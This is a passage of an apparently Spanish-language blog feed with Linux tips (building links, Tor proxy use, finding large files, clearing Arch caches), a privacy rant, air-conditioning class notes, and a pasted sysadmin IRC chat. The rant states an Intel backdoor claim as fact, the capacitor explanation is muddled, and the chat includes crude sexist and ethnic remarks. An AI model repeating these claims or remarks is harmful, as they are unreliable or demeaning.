</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Asi funciono (sin soporte javascript)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> $ cd /tmp/links-2.30 <span style="color:#f92672">&&</span> make clean <span style="color:#f92672">&&</span> ./configure --enable-graphics --with-fb 2>&<span style="color:#ae81ff">1</span> | tail -20
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> $ cd /tmp/links-2.30 <span style="color:#f92672">&&</span> make -j<span style="color:#66d9ef">$(</span>nproc<span style="color:#66d9ef">)</span> <span style="color:#f92672">&&</span> sudo make install
</span></span><span style="display:flex;"><span> $ /usr/local/bin/links -g -driver fb https://imlauer.github.io
</span></span></code></pre></div><h4 id="para-usarlo-con-tor">Para usarlo con Tor</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>links -g -socks-proxy localhost:9050 https://check.torproject.org
</span></span></code></pre></div>
-
Buscar grandes archivos en la CLI en Linux y borrar caché en ArchLinux.
https://imlauera.github.io/buscar_grandes_archivos_linux/
Sun, 24 Nov 2024 11:09:18 -0300
https://imlauera.github.io/buscar_grandes_archivos_linux/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo du -aBm / 2>/dev/null | sort -nr | head -n <span style="color:#ae81ff">10</span>
</span></span></code></pre></div><ol start="2">
<li>
<p>To find the largest files in a directory, use: <code>du -ah /directory/name | sort -rn | head -n 10</code>.</p>
</li>
<li>
<p>To find all files over 500 MB, use: <code>sudo find / -type f -size +500M -ls</code>.</p>
</li>
</ol>
<h4 id="para-limpiar-caché-en-archlinux">Para limpiar caché en ArchLinux.</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -Scc <span style="color:#f92672">&&</span> yay -Scc
</span></span></code></pre></div><h4 id="buscar-archivos-más-grandes-que-500-megas">Buscar archivos más grandes que 500 megas.</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find . -type f -size +500M -printf <span style="color:#e6db74">"%s %p\n"</span> | sort -nr | head -n <span style="color:#ae81ff">10</span>
</span></span></code></pre></div>
-
Google maps faster
https://imlauera.github.io/googlemaps_faster/
Sun, 24 Nov 2024 01:30:26 -0300
https://imlauera.github.io/googlemaps_faster/
<p>No funciona con wayland ni con tor, pero es más rápido que abrir google maps en el navegador.</p>
<p>Una mejor alternativa es OpenStreetMaps, pero google es superior.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S google-earth-pro
</span></span></code></pre></div>
-
Rutear todo tráfico por Tor
https://imlauera.github.io/rutear_todo_trafico_por_tor/
Sat, 23 Nov 2024 23:01:12 -0300
https://imlauera.github.io/rutear_todo_trafico_por_tor/
<p>Lo mejor es usar Qubes OS.</p>
<p>Los dueños de las grandes redes sociales se hacen multimillonarios haciendo espionaje masivo estudiando como usas Instagram, TikTok, Facebook, Google, Spotify, Amazon, Mac, iOS, Android estudian que tipo de contenido mirás por qué apretaste esa publicidad por qué la cerraste, por qué bajaste dos centímetros para abajo y por qué apretaste la historia de tal persona. Estudian absolutamente todo para exprimirte al máximo por unos cuántos centavos más. Los procesadores Intel tienen una puerta trasera a partir del i3 hacia adelante. Spotify quiere que escuches la música online para hacer estadísticas y poner mejores publicidades y obtener mejores ganancias. Lo mejor es escuchar la música offline.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 19) - Clase Práctica: Cambiamos motocompresor. Pestañamos caños. Conexiones contactora. Bomba vacío. Recuperamos refrigerante. Medimos amperage.
https://imlauera.github.io/clase19_aires/
Sat, 23 Nov 2024 14:00:16 -0300
https://imlauera.github.io/clase19_aires/
<h3 id="audio-en-youtube">Audio en YouTube</h3>
<p><a href="https://www.youtube.com/watch?v=mq6fcFHpIiY">https://www.youtube.com/watch?v=mq6fcFHpIiY</a></p>
<h3 id="audio-en-invidious">Audio en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=mq6fcFHpIiY">https://redirect.invidious.io/watch?v=mq6fcFHpIiY</a></p>
<h3 id="audio-en-vocaroo">Audio en Vocaroo</h3>
<p><a href="https://vocaroo.com/13DAJHEzsNOj">https://vocaroo.com/13DAJHEzsNOj</a></p>
<h3 id="videos-de-la-clase">Videos de la clase:</h3>
<h4 id="youtube">YouTube</h4>
<p><a href="https://www.youtube.com/watch?v=fAcPjbVHrOA">https://www.youtube.com/watch?v=fAcPjbVHrOA</a></p>
<h4 id="invidious">Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=fAcPjbVHrOA">https://redirect.invidious.io/watch?v=fAcPjbVHrOA</a></p>
<h3 id="observación">Observación</h3>
<p>Al principio estaban hablando de que el técnico anterior había puesto dos capacitores para darle más potencia, según lo que consulté me enteré que esto no es recomendable porque al bajar la capacidad aumenta la impedancia o reactancia. Cuando ponés 2 capacitores en serie baja la capacidad total, pero estira más la vida útil del motor. Es al revés que la resistencia.</p>
-
Conversacion blastwave (solaris maintainer) y houst0n
https://imlauera.github.io/conversacion_blastwave_solaris_maintainer_houst0n/
Fri, 22 Nov 2024 21:44:23 -0300
https://imlauera.github.io/conversacion_blastwave_solaris_maintainer_houst0n/
<p>Logré pescar una interesante conversación sobre dos personas que trabajaron manteniendo sistemas Solares antes de docker kubernetes, por si alguno está interesado acá tienen:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>17:22 -!- esotericwarfare [[email protected]] has joined #blastwave
</span></span><span style="display:flex;"><span>17:22 -!- Topic for #blastwave: Friday the 22nd Nov 2024 and all is quiet somewhere
</span></span><span style="display:flex;"><span>17:22 -!- Topic set by blastwave [[email protected]] [Fri Nov 22 08:46:48 2024]
</span></span><span style="display:flex;"><span>17:22 -!- Irssi: #blastwave: Total of 65 nicks [3 ops, 0 halfops, 0 voices, 62 normal]
</span></span><span style="display:flex;"><span>17:22 -!- Channel #blastwave created Wed May 19 10:52:47 2021
</span></span><span style="display:flex;"><span>17:23 -!- Irssi: Join to #blastwave was synced in 12 secs
</span></span><span style="display:flex;"><span>17:35 < barnsy> did someone say cult!
</span></span><span style="display:flex;"><span>17:36 < barnsy> all hail rust
</span></span><span style="display:flex;"><span>17:36 < barnsy> or was it !cone
</span></span><span style="display:flex;"><span>17:48 -!- _________ [~nobody@user/noodly] has quit [Ping timeout: 264 seconds]
</span></span><span style="display:flex;"><span>17:51 < houst0n> Ugh rust. I am too old or dumb for rust. Every time I try to pick it up, I make it about 2 weeks then just cba. Too much syntax. I seem to be happy enough with C and Go.
</span></span><span style="display:flex;"><span>17:51 < houst0n> Java isn't going anywhere for $dayjob for a while. But plenty of Go :}
</span></span><span style="display:flex;"><span>17:55 -!- _________ [~nobody@user/noodly] has joined #blastwave
</span></span><span style="display:flex;"><span>17:57 < barnsy> i wish i could go or c im unlucky enough to live in sql and pascal
</span></span><span style="display:flex;"><span>17:58 < houst0n> pascal?! Ye gods. How does that happen?
</span></span><span style="display:flex;"><span>17:59 -!- gbowne1 [[email protected]] has joined #blastwave
</span></span><span style="display:flex;"><span>17:59 < barnsy> needed to pay bills, as if anyone would choose!!
</span></span><span style="display:flex;"><span>17:59 < houst0n> I mean, who is using it? For what?
</span></span><span style="display:flex;"><span>18:00 < hotzenbot> TIME: London 21:00, Paris 22:00, Kyiv: 23:00, Perth 05:00, Brisbane 07:00, Auckland 10:00, Irvine 13:00, Toronto 16:00
</span></span><span style="display:flex;"><span>18:01 < houst0n> There are rumors of a band of cobol developers hidden in the back of the insitution I work for, earning near half a million each, but no one has actually met them and all our tech debt is java
</span></span><span style="display:flex;"><span>18:01 < barnsy> cant exactly say who but using it to pass sql to documents
</span></span><span style="display:flex;"><span>18:01 < houst0n> What industry is it?
</span></span><span style="display:flex;"><span>18:01 < barnsy> a big corpo one
</span></span><span style="display:flex;"><span>18:02 < houst0n> I can't believe anyone is still using pascal. Is it a bank or what?
</span></span><span style="display:flex;"><span>18:02 < houst0n> (I'm tech lead for payments at an extremely large european bank, I've seen some things...)
</span></span><span style="display:flex;"><span>18:02 < barnsy> not quite but big money is involved
</span></span><span style="display:flex;"><span>18:03 < houst0n> You're being very vague.
</span></span><span style="display:flex;"><span>18:03 < barnsy> for good reason
</span></span><span style="display:flex;"><span>18:03 < houst0n> What are those reasons?
</span></span><span style="display:flex;"><span>18:04 < barnsy> i like paying bills
</span></span><span style="display:flex;"><span>18:04 < houst0n> Ah you'll be fired for saying "Yeah the insurance industry in switzerland still uses prolog, kek"
</span></span><span style="display:flex;"><span>18:04 < houst0n> Gotcha. I always fire people for that
</span></span><span style="display:flex;"><span>18:04 < barnsy> i have the right to an attourney
</span></span><span style="display:flex;"><span>18:04 < barnsy> :D
</span></span><span style="display:flex;"><span>18:04 < houst0n> er, pascal, sorry
</span></span><span style="display:flex;"><span>18:05 < houst0n> I spent a good 6 years as an erlanger, I kinda like prolog as a result ;)
</span></span><span style="display:flex;"><span>18:05 < houst0n> So does dclarke still come in here? I wanted to annoy him a bit
</span></span><span style="display:flex;"><span>18:06 < barnsy> he sure does, this time of year is iffy with most people
</span></span><span style="display:flex;"><span>18:06 < barnsy> people be doing the whole xmas thing with humans
</span></span><span style="display:flex;"><span>18:06 < houst0n> We wasted quite a lot of each others time doing stupid shit like compiling gcc on ancient sparc gear some decades ago
</span></span><span style="display:flex;"><span>18:06 < barnsy> but he does float about
</span></span><span style="display:flex;"><span>18:06 < houst0n> It's november.
</span></span><span style="display:flex;"><span>18:06 < barnsy> when beer is involved months mean nothing
</span></span><span style="display:flex;"><span>18:07 < houst0n> ... Right then..
</span></span><span style="display:flex;"><span>18:07 < barnsy> ive been floating about a while and remember speaking to you a while back, i know you both go way back
</span></span><span style="display:flex;"><span>18:08 < houst0n> What's the deal with this channel these days? It used to be for users of a solaris pkg repo
</span></span><span style="display:flex;"><span>18:08 < houst0n> And even at its height it was nowhere near 64 people.
</span></span><span style="display:flex;"><span>18:10 < barnsy> i think the twitch and being banned a few times gained more people
</span></span><span style="display:flex;"><span>18:10 < houst0n> Oh well, I cba. Oi @dclarke or @blastwave or whatever your handle is these days. Drop me an email please: [email protected] -- lets have a christmas catch up or something. Hilarious events have occured, they've let me run a bank.
</span></span><span style="display:flex;"><span>18:10 < houst0n> Ciao :]
</span></span><span style="display:flex;"><span>18:11 < gbowne1> o/
</span></span><span style="display:flex;"><span>18:11 < barnsy> enjoy
</span></span><span style="display:flex;"><span>18:25 < racingmars> houst0n: wasting quite a lot of time compiling gcc on ancient sparc gear is STILL what a lot of us in this channel do, and what Dennis spends a lot of his time on stream doing :-)
</span></span><span style="display:flex;"><span>18:30 < houst0n> There's something soothing about 3 hours of 'make' output streaming past on your screen, as long as you're not paying for the power
</span></span><span style="display:flex;"><span>18:32 < gbowne1> most of the time it goes quietly in a background while we mutter and listen to music or watch a movie or other randomness
</span></span><span style="display:flex;"><span>18:32 < houst0n> I had the misfortune of needing certbot with some not-in-freebsd-ports pip wheels the other day, and of course py-cryptography these days depends on rustc, so I got to install rust.. Which pulled in a non-system version of llvm, on a tiny crappy little openstack vps, took like 2 hours ;)
</span></span><span style="display:flex;"><span>18:32 < gbowne1> or get pained in chess
</span></span><span style="display:flex;"><span>18:37 < gbowne1> well today's !plan was to try and get FreeBSD onto the beast, but that turned out to be a morning full of trying to sort out other issues.
</span></span><span style="display:flex;"><span>18:38 < houst0n> Todays not plan?
</span></span><span style="display:flex;"><span>18:38 < houst0n> What's the beast?
</span></span><span style="display:flex;"><span>18:39 < gbowne1> 1 Dell R930 fully loaded with 90+ 16gb DDR4 and 4 Xeon E7's
</span></span><span style="display:flex;"><span>18:41 < houst0n> I was a pretty rich freelancer for the last few years, so I had a load of very chunky colo'd gear running most of my 'stuff'; proxmox+zfs on the blades with mostly openbsd vms. Unfortunately there is a massive fucking recession happening in Germany at the moment and no one is willing to pay nosebleed rates for a haggered unixbeard anymore, so I've had to take a permie gig. So, all the 'infra' is
</span></span><span style="display:flex;"><span>18:41 < houst0n> being... err. consolidated.. So I wanted to move most of it to some obsd kit in my house and have a few vm's for web and whatever hosting in the cloud. OpenBSD was 10x slower on storage than freebsd on that gear when I tested.. so after... 6 years of pure openbsd, I had to say goodbye for now
</span></span><span style="display:flex;"><span>18:41 < houst0n> But I'm not paying 8k a month for colo anymore for 'cloud' ;)
</span></span><span style="display:flex;"><span>18:41 < houst0n> So we're back on freebsd. Ach well.
</span></span><span style="display:flex;"><span>18:42 < houst0n> That's a pretty chunky box, what you gonna do with it?
</span></span><span style="display:flex;"><span>18:42 < houst0n> I wouldn't bother bare metal'ing bsd tbh, stick proxmox or something on it and carve it into vms
</span></span><span style="display:flex;"><span>18:43 < racingmars> Yeah, my "production" web and mail servers are OpenBSD running under ESXi.
</span></span><span style="display:flex;"><span>18:43 < gbowne1> i'm consolidating a lot of my smaller servers.. among otherthings
</span></span><span style="display:flex;"><span>18:43 < houst0n> I used to run my own mail infra
</span></span><span style="display:flex;"><span>18:43 < houst0n> I wrote a pretty detailed guide on it https://medium.com/@cyberpunk_networks/nsa-proof-your-email-2017-edition-f11a89697722
</span></span><span style="display:flex;"><span>18:44 < houst0n> These days, fuck that. I pay proton
</span></span><span style="display:flex;"><span>18:44 < gbowne1> I already have a loaded Dell R730xd running a VM host
</span></span><span style="display:flex;"><span>18:45 < gbowne1> VMWare <anything> has become a beast, so have been on the look out for something that can do 12+ VM's
</span></span><span style="display:flex;"><span>18:46 < houst0n> VMWare is dead
</span></span><span style="display:flex;"><span>18:47 < houst0n> They got bought by PE their onyl exit is killing the free tier and billing the 100 or so big enterprises until they get their sticker price back
</span></span><span style="display:flex;"><span>18:47 < gbowne1> I've been a ESXi fan for years.. but slowly they are removing hardware support
</span></span><span style="display:flex;"><span>18:47 < houst0n> Meh, use opensource. ESXi was maybe cool in the 2000s
</span></span><span style="display:flex;"><span>18:47 < houst0n> But KVM is better these days
</span></span><span style="display:flex;"><span>18:47 < houst0n> google and amazon pumped billions into it ;)
</span></span><span style="display:flex;"><span>18:48 < houst0n> Purple screens of death were hilarious though
</span></span><span style="display:flex;"><span>18:48 < gbowne1> another reason I need to move.. so have been on the plan to migrate.. been looking at poudriere and bhyve
</span></span><span style="display:flex;"><span>18:48 < houst0n> The problem with that stuff is, the management story is... shell scripts and cronjobs
</span></span><span style="display:flex;"><span>18:48 < houst0n> Do you really want to deal with that?
</span></span><span style="display:flex;"><span>18:48 < gbowne1> its nothing new
</span></span><span style="display:flex;"><span>18:49 < gbowne1> Dennis does quite a bit of that lately
</span></span><span style="display:flex;"><span>18:49 < houst0n> Depends how much stuff you're running. For your apps etc, sure maybe it's ok. For your VM hosts? It's a fucking massive pain in the balls and it's not worth the effort.
</span></span><span style="display:flex;"><span>18:49 < houst0n> But whatever, I don't host clouds anymore I just use 'em
</span></span><span style="display:flex;"><span>18:50 < houst0n> GCP at the moment, it's.. fine.
</span></span><span style="display:flex;"><span>18:50 < houst0n> tf hellscape
</span></span><span style="display:flex;"><span>18:50 < racingmars> And yeah I heavily use KVM these days. But there are a couple servers out at the datacenter that have been running ESXi forever and there's no reason to change for the sake of changing. At the end of the day, ESXi is still better than Proxmox, but yeah any future systems to eventually replace the ESXi boxes I'd start with Proxmox.
</span></span><span style="display:flex;"><span>18:50 < gbowne1> What's clowd?
</span></span><span style="display:flex;"><span>18:50 < gbowne1> xD
</span></span><span style="display:flex;"><span>18:50 < gbowne1> I like QEMU
</span></span><span style="display:flex;"><span>18:50 < houst0n> In what reality is ESXi better than proxmox?
</span></span><span style="display:flex;"><span>18:51 < houst0n> Last time I used it you needed a fat windows app to manage it
</span></span><span style="display:flex;"><span>18:51 < houst0n> (vmware vCenter or whatever it was)
</span></span><span style="display:flex;"><span>18:51 < racingmars> You haven't needed a Windows app to manage ESXi for over a decade.
</span></span><span style="display:flex;"><span>18:51 < houst0n> Granted this is going back a bit
</span></span><span style="display:flex;"><span>18:51 < houst0n> lol
</span></span><span style="display:flex;"><span>18:51 < gbowne1> yeah thats not a thing anymore
</span></span><span style="display:flex;"><span>18:52 < houst0n> But how is it better? proxmox is opensource, comes wiht a load of goodies, has zfs as a built-in option, ceph etc
</span></span><span style="display:flex;"><span>18:52 < houst0n> Also can run containers, if anyone is stupid enough to do that outside kubernetes
</span></span><span style="display:flex;"><span>18:52 < racingmars> ESXi still runs random old obscure operating systems that qemu_KVM has trouble with.
</span></span><span style="display:flex;"><span>18:52 < racingmars> s/qemu_KVM/qemu+KVM/
</span></span><span style="display:flex;"><span>18:52 < gbowne1> yes
</span></span><span style="display:flex;"><span>18:52 < racingmars> Anyway, yes, new builds I'd go Proxmox.
</span></span><span style="display:flex;"><span>18:53 < houst0n> If you have to run your own vm hosts, I recon proxmox yeah. I'd love to say bare freebsd but it's not an option. You may be able to do it but the poor bastard that inherits it is deffo replacing it
</span></span><span style="display:flex;"><span>18:53 < houst0n> And it's a fucking pita, bhyve with it's 100 million cmdline args
</span></span><span style="display:flex;"><span>18:54 < swills> proxmox is so slow
</span></span><span style="display:flex;"><span>18:54 < swills> don't like dealing with bhyve's command line args? gee, have i got a solution for you! lol
</span></span><span style="display:flex;"><span>18:54 < houst0n> proxmox is slow vs?
</span></span><span style="display:flex;"><span>18:54 < houst0n> I don't like dealing with shit that doesn't really matter. I want VMs to run k8s clusters, which my devs deploy 100s of jvms onto
</span></span><span style="display:flex;"><span>18:54 < houst0n> I don't give a fuck about command line args anymore
</span></span><span style="display:flex;"><span>18:55 < houst0n> Maybe 20 years ago I did ;)
</span></span><span style="display:flex;"><span>18:55 < swills> that's why i do with my VMs actually
</span></span><span style="display:flex;"><span>18:55 < rconjoe> you could use proxmox with a bunch of command line args too, if you wanted to badly enough.
</span></span><span style="display:flex;"><span>18:56 < houst0n> You're right, bhyve with nvme emulation and passthu host cpu flags and whatever can get you an extra few %
</span></span><span style="display:flex;"><span>18:56 < racingmars> bhyve is probably fine if you're sticking to Linux and other *BSDs and maybe Windows VMs (although who touches windows?) but I think it's still pretty limited if you go off the beaten path and need/want to run random other operating systems.
</span></span><span style="display:flex;"><span>18:56 < houst0n> But you're solving the wrong problem. You create something completely unmaintainable
</span></span><span style="display:flex;"><span>18:57 < houst0n> No one needs random other operating systems in the real world
</span></span><span style="display:flex;"><span>18:57 < houst0n> You need linux
</span></span><span style="display:flex;"><span>18:57 < houst0n> Sorry, I know it sucks.
</span></span><span style="display:flex;"><span>18:57 < houst0n> :}
</span></span><span style="display:flex;"><span>18:57 < racingmars> I'm not talking about the real world, I'm talking about what I use computers for :-)
</span></span><span style="display:flex;"><span>18:57 < swills> you're entitled to your opinion
</span></span><span style="display:flex;"><span>18:58 < houst0n> I do this shit for a living, I used to do it for fun. These days my personal computers I would be really happy if they only had a single button which said "fuck off" and it turns it off
</span></span><span style="display:flex;"><span>18:58 < swills> you're so right, you're very much smarter and more experienced than me. please tell me more
</span></span><span style="display:flex;"><span>18:58 < gbowne1> they do but thats not what its called.
</span></span><span style="display:flex;"><span>18:58 < houst0n> Sigh. I'm not trying to preach sorry dude
</span></span><span style="display:flex;"><span>18:58 < swills> no no, go one
</span></span><span style="display:flex;"><span>18:58 < swills> on*
</span></span><span style="display:flex;"><span>18:59 < swills> that's what we're here for
</span></span><span style="display:flex;"><span>18:59 < houst0n> ?
</span></span><span style="display:flex;"><span>18:59 < houst0n> I get on my high horse sometimes, forget people are different ;)
</span></span><span style="display:flex;"><span>18:59 < houst0n> My requirements are very different from yours
</span></span><span style="display:flex;"><span>19:00 < hotzenbot> TIME: London 22:00, Paris 23:00, Kyiv: 00:00, Perth 06:00, Brisbane 08:00, Auckland 11:00, Irvine 14:00, Toronto 17:00
</span></span><span style="display:flex;"><span>19:00 < houst0n> I'm currently running devops at a large bank, we are using k8s on gcp (private cloud version of gcp)
</span></span><span style="display:flex;"><span>19:00 < houst0n> It's like, 3000 jvms
</span></span><span style="display:flex;"><span>19:00 < houst0n> tf runs, via TFE take sometimes 4 hours
</span></span><span style="display:flex;"><span>19:00 < houst0n> That changes your views a bit ;)
</span></span><span style="display:flex;"><span>19:01 < racingmars> Also in the "real world" legacy crap still rules. There's enough money to make a company to port OpenVMS to x86, for crying out loud. Companies spend millions on IBM mainframes to keep their COBOL applications running. There are still a bunch of internal business apps running on Pick-system type platforms. The real world is MESSY. Companies stay on shit that works forever.
</span></span><span style="display:flex;"><span>19:01 < swills> i write^Wwrote Go code that manages 126 petabytes of data in a globally distributed system, with grpc/protobuf and rest apis
</span></span><span style="display:flex;"><span>19:01 < gbowne1> can confirm
</span></span><span style="display:flex;"><span>19:02 < houst0n> Sure, maybe. My job at the moment is moving all payment processing for germany's largest bank to the cloud. It means moving 500 payment flows (rewriting them) and migrating to k8s. There are mainframes, there is HPUX, there's a load of J2EE on solaris. All that jazz. It's not cheaper for us to keep that shit running forever
</span></span><span style="display:flex;"><span>19:02 < houst0n> We kept it running that style for 10 years longer than we should
</span></span><span style="display:flex;"><span>19:02 < swills> but, the company has gone under and i'm unemployeed now and so i'm spending my time on my side project building a grpc based manager for bhyve and python gui client to it for fun
</span></span><span style="display:flex;"><span>19:02 < houst0n> devs are cheap
</span></span><span style="display:flex;"><span>19:02 < racingmars> And I was a senior enterprise architect at a company that did more transactions per day than AmEx and Mastercard and PayPal. We all know what we're talking about here lol
</span></span><span style="display:flex;"><span>19:02 < houst0n> it's not cheaper to pay someone to maintain an OS
</span></span><span style="display:flex;"><span>19:02 < swills> and it runs k8s in the VMs on top of it all, heh
</span></span><span style="display:flex;"><span>19:03 < houst0n> Sure then you're my tribe, you get it right. We are not looking to extend our relationship with oracle.
</span></span><span style="display:flex;"><span>19:03 < houst0n> We also don't want to extend our relationship with cobol, or J2EE, or WebSphere
</span></span><span style="display:flex;"><span>19:03 < houst0n> or EAR files
</span></span><span style="display:flex;"><span>19:04 < houst0n> And it's not actually too hard to rewrite this stuff
</span></span><span style="display:flex;"><span>19:04 < houst0n> I mean ok, it'll take us 5 years maybe
</span></span><span style="display:flex;"><span>19:04 < swills> whatever man
</span></span><span style="display:flex;"><span>19:04 < swills> later
</span></span><span style="display:flex;"><span>19:04 -!- swills [~Thunderbi@user/swills] has left #blastwave []
</span></span><span style="display:flex;"><span>19:04 < racingmars> Most large companies have proven that it's INCREDIBLY hard to re-write the code that runs their entire operations.
</span></span><span style="display:flex;"><span>19:04 < racingmars> You will fuck it up.
</span></span><span style="display:flex;"><span>19:05 < houst0n> Was I being a dick there or what?
</span></span><span style="display:flex;"><span>19:05 < racingmars> You will have tons of business rules and requirements you never knew existed.
</span></span><span style="display:flex;"><span>19:05 < houst0n> Yeah, we are massively regulated. But as long as the test suites pass we are good
</span></span><span style="display:flex;"><span>19:05 < houst0n> The 'big boy' test run takes almost 20 hours
</span></span><span style="display:flex;"><span>19:05 < houst0n> There are controls in finance
</span></span><span style="display:flex;"><span>19:06 < racingmars> Anyway, I don't remember where this started. I think with the assertion that all you need in the real world is Linux? The real world is way messier than that was the point, I think.
</span></span><span style="display:flex;"><span>19:06 < gbowne1> it is
</span></span><span style="display:flex;"><span>19:06 < gbowne1> if its an OS, it probably runs <somewhere>
</span></span><span style="display:flex;"><span>19:07 < houst0n> Well, I've been running ops for >20 years. I don't see anyone giving a fuck about operating systems anymore
</span></span><span style="display:flex;"><span>19:07 < houst0n> We run apps, and those run 99% of the time on kubernetes
</span></span><span style="display:flex;"><span>19:07 < houst0n> Doesn't matter on prem or aws or gcp
</span></span><span style="display:flex;"><span>19:07 < gbowne1> if its old.. it's probably and actually likely that its still running <somewhere>
</span></span><span style="display:flex;"><span>19:07 < houst0n> Yes, but the work is not the old shit
</span></span><span style="display:flex;"><span>19:07 < houst0n> The work is to migrate it
</span></span><span style="display:flex;"><span>19:07 < houst0n> update it, add features, make it maintainable, fix security issues etc
</span></span><span style="display:flex;"><span>19:08 < racingmars> The security is the big dude with a gun standing at the door to the room with the only terminal connected to the system :-)
</span></span><span style="display:flex;"><span>19:08 < gbowne1> something like that
</span></span><span style="display:flex;"><span>19:08 < houst0n> Kinda? For us it's a load of indians with recorded terminal sessions ;)
</span></span><span style="display:flex;"><span>19:08 < houst0n> and mtls
</span></span><span style="display:flex;"><span>19:09 <@blastwave> holy fuck !
</span></span><span style="display:flex;"><span>19:09 <@blastwave> the Loch Ness monster !!
</span></span><span style="display:flex;"><span>19:10 <@blastwave> Neil !!
</span></span><span style="display:flex;"><span>19:10 < racingmars> ugh I have PTSD from every project I've ever been involved in that involved any level of outsourcing to India LUL
</span></span><span style="display:flex;"><span>19:10 <@blastwave> da fuck man ... you live !!
</span></span><span style="display:flex;"><span>19:10 < racingmars> As, I suspect, do we all.
</span></span><span style="display:flex;"><span>19:10 < houst0n> Holy shit, the scrotum of canada arrives
</span></span><span style="display:flex;"><span>19:10 < racingmars> Hey Dennis!
</span></span><span style="display:flex;"><span>19:10 <@blastwave> well who let the wild fucking scot onto the intertubes again !
</span></span><span style="display:flex;"><span>19:10 < gbowne1> @racingmars same
</span></span><span style="display:flex;"><span>19:10 < racingmars> We've been arguing over whether any operating system than Linux matters at all in the "real world" now lol
</span></span><span style="display:flex;"><span>19:10 < houst0n> How are you man? I finished work today and poured a dram and figured, I have this new freebsd vm, I'll install irssi on ir and say hi
</span></span><span style="display:flex;"><span>19:10 < houst0n> and I started getting hazed by your cult
</span></span><span style="display:flex;"><span>19:10 <@blastwave> how da fuk art ya ? married? kids? divorces?
</span></span><span style="display:flex;"><span>19:11 <@blastwave> well I have a wee bit of whiskey here also !
</span></span><span style="display:flex;"><span>19:11 < houst0n> Just bought a house, got kicked out of my k/day freelance gig thanks to a german recession
</span></span><span style="display:flex;"><span>19:11 < houst0n> Now I'm running devops @ deutsche bank
</span></span><span style="display:flex;"><span>19:11 < houst0n> At least for the payments processing bit ;)
</span></span><span style="display:flex;"><span>19:11 <@blastwave> oh .. there is no cult. no plan. nothing even remotely like that. just a collossal pile of like minded geeks and nerds wwith way way too much hardware around them
</span></span><span style="display:flex;"><span>19:11 < gbowne1> ah.. one of those? meh
</span></span><span style="display:flex;"><span>19:12 < gbowne1> can confirm
</span></span><span style="display:flex;"><span>19:12 < gbowne1> xD
</span></span><span style="display:flex;"><span>19:12 < houst0n> I've got some shite here. Kilchioman. Don't reccommend. It was a gift from my pop.
</span></span><span style="display:flex;"><span>19:12 < houst0n> Current favourite is ardbeg uigadail
</span></span><span style="display:flex;"><span>19:13 <@blastwave> so it has been .. at least a year or two. at least. fuk man .. I think the days and nights of the shit we did a million years ago ... compile stuff on a sparcstation 20 and 24 hours later it was running on thousands of machine all over the world. that was a strange experience
</span></span><span style="display:flex;"><span>19:13 < houst0n> I went to visit my mum a while ago, went into the loft and there it was. My sparcstation ultra II
</span></span><span style="display:flex;"><span>19:13 < houst0n> I saved up my pocket money when I was 14 for that bastard
</span></span><span style="display:flex;"><span>19:13 <@blastwave> oh ... that was a LOT of pocket money back then
</span></span><span style="display:flex;"><span>19:13 < houst0n> And these wankers at blastwave.org had a version of vim that didn't support soemthing or other
</span></span><span style="display:flex;"><span>19:14 <@blastwave> at least ... you know it has been over twenty years eh?
</span></span><span style="display:flex;"><span>19:14 < houst0n> Anyway they let me fix it ;)
</span></span><span style="display:flex;"><span>19:14 < houst0n> How are ya?
</span></span><span style="display:flex;"><span>19:14 < racingmars> Oh yes ardbeg uigadail is very good if you want the full "Drinking a campfire" experience and Laphroig isn't smokey enough for you!
</span></span><span style="display:flex;"><span>19:15 <@blastwave> wwhere the hell did the decades go ... old and grey and stupid and slow and I curse at teenagers and drink too much and really doing well and just don't give too many fucks about much of anything that seems to annoy other people
</span></span><span style="display:flex;"><span>19:15 < houst0n> Ah, I'm a genuine scottish person, from Skye
</span></span><span style="display:flex;"><span>19:15 * blastwave looks around .. sees only Jamesons
</span></span><span style="display:flex;"><span>19:15 < houst0n> I quit drinking for a solid year, discovered buddhism, stared at walls a lot]
</span></span><span style="display:flex;"><span>19:15 < houst0n> Now I take the uhh, middle way
</span></span><span style="display:flex;"><span>19:15 < houst0n> Slainte
</span></span><span style="display:flex;"><span>19:16 <@blastwave> yeah ... every now and then I totally quit, shave my beard, lose some weight, then say fuck it .
</span></span><span style="display:flex;"><span>19:16 < houst0n> I've never had the balls to shave the beard off. I think my son would freak out
</span></span><span style="display:flex;"><span>19:16 < houst0n> fist length
</span></span><span style="display:flex;"><span>19:16 <@blastwave> I am fully retired now. I don't spend too much time in worry about much of anything.
</span></span><span style="display:flex;"><span>19:17 < houst0n> Hah superb
</span></span><span style="display:flex;"><span>19:17 < houst0n> Although I still have no idea what you did for a living really
</span></span><span style="display:flex;"><span>19:17 <@blastwave> Well ... it was a woman that told me to shave. she made a good offer. then she made the mistake of trying ( again ) to change other parts of my life.
</span></span><span style="display:flex;"><span>19:17 < houst0n> A friend of mine, who I won't disagree with, recons you should just hire a cleaner and a whore sometimes
